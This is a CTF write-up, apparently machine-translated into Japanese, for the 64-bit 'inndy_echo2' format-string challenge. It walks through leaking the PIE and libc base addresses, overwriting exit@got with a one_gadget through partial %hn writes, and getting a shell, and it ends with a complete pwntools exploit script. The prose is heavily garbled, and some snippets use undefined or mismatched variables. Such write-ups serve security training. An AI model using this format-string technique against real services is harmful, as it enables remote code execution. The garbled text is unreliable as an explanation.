inndy_echo2
ステップ
- 定期検査、64ビットプログラム、nxおよびpie対応
- ローカルで試して、一般的な状況を確認してください。推測はエコーに似ています。
- 追加のPIE64
ビット形式の文字列の脆弱性が開かれることを除いて、32ビットエコーと同じコードである64ビットidaがロードされます。32ビットとはかなり異なります。「00」の切り捨てに注意してください。 1ステップで32ビットとして変更される場合、一度に2バイトしか変更できません。よくわからない場合は、まずこの記事を読んでください - まず、PIEの
場合、プログラムのベースアドレスをリークする方法を最初に見つける必要があります。エコー関数が実行されると、エコースタックフレームの前の要素が関数のリターンアドレスを格納してメインに戻るため、スタック内のリターンアドレスをすること
。それを見つける
調整するための手順をプログラムのベースアドレスをとのlibc :
gdbのエコーecho2
メインB
rは
、入力時点までNI保つ
入力時点でプログラムのオフセットをチェックしていることを確認してください。オフセットは6です。
この時点で、スタック上のパラメータがロードされています。スタック上の要素を
確認してください。パラメータがスタックに直接格納されており、レジスタが使用されていないことがわかります。したがって、でマークされたオフセットをカウントします。上の図main+74
は41とlibc_start_main+240
43であるため、プログラムのベースアドレスとlibcのベースアドレスが取得されます。
p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9 #0x9b9是开启了pie的main函数地址
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))
- ここで、fgets関数を使用して、libc
が以前に移動されたときに見つかったオフセットが6であることをリークします。このオフセットを使用してfgets @ gotをリークし、「00」の切り捨てに注意してください。ここでは、
p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))
8 *を使用して変更しました。aは「00」を埋めるために使用されます
fgets_got_addr = elf_base + elf.got["fgets"]
exit_got = elf_base + elf.got["exit"]
p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))
p.recvuntil("stop")
fgets_addr = u64(sh.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
print hex(fgets_addr)
libc = LibcSearcher('fgets', fgets_addr)
一致するlibcが2.23-64であることを確認し、buuでダウンロードしてください
- プログラムとlibcのベースアドレスを使用すると、PIEをバイパスでき、libcバージョンが使用可能になり、取得したテーブルを変更してみることができます。最初はprintf @ gotをsystemに変更するようなものでしたが、実際の操作中に問題が発生しました。他のマスターのwpが簡潔すぎるのを見て、理解できなかったので、出口をに変更しました。他のマスターのwpに基づくone_gadget。
exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base
one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff
payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_addr)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_addr+2)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_addr+4)
p.sendline(payload)
p.recv()
sleep(0.5)
最後に、exitと入力してone_gadgetを呼び出し、シェルを取得します
完全な経験
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node3.buuoj.cn',25416)
#p=process('./echo2')
elf=ELF('./echo2')
p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))
#fgets_got_addr = elf_base + elf.got["fgets"]
#p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))
#p.recvuntil("stop")
#fgets_addr = u64(p.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
#print hex(fgets_addr)
#libc = LibcSearcher('fgets', fgets_addr)
#print hex(libc.dump('fgets'))
libc=ELF('./libc-2.23-64.so')
libc_base=libc_start_main-libc.sym['__libc_start_main']
exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base
one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff
payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_got)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_got+2)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_got+4)
p.sendline(payload)
p.recv()
sleep(0.5)
p.sendline('exit')
p.interactive()
常wp:https://www.cjovi.icu/WP/buu-inndy_echo2-wp.html